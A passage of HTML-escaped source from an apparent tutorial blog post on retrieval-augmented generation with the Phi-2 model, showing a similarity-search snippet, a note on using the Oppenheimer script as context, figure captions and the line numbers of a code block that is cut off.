&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        query_embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform similarity search - top 3 similar passages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _, similar_indices &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;search(query_embedding, k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Retrieve context passages based on similar_indices&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    similar_contexts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [context_passages[i] &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; similar_indices[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Concatenate the similar contexts into a single string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(similar_contexts)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let us run this and see how it works, as we discussed before. We will use the Oppenheimer movie script as the context passages and perform a similarity search to retrieve relevant context passages based on a user query. The next few figures show the output of us asking questions about the movie, where those pieces of information are not in the model but passed using the semantic search.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-3.png&#34; alt=&#34;Example 1 - Phi-2 and RAG implementation&#34;/&gt;
        &lt;figcaption&gt;Example 1 - Phi-2 and RAG implementation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-4.png&#34; alt=&#34;Example 2 - Phi-2 and RAG implementation&#34;/&gt;
        &lt;figcaption&gt;Example 2 - Phi-2 and RAG implementation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-5.png&#34; alt=&#34;Example 3 - Phi-2 and RAG implementation&#34;/&gt;
        &lt;figcaption&gt;Example 3 - Phi-2 and RAG implementation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Now that we have seen the different elements, the code below brings everything together as a console app that one can run. The Oppenheimer script (pdf file) you need can be &lt;a
	
		href = &#34;data/oppenheimer-2023.pdf&#34;
	

	

	&gt;
	
	&lt;span&gt;
		downloaded from here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt; 53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt; 54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt; 55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt; 56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt; 57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt; 58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt; 59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt; 60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt; 61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt; 62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt; 63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt; 64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt; 65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt; 66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt; 67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt; 68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt; 69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt; 70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt; 71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt; 72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt; 73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt; 74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt; 75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt; 76&lt;/a&gt;
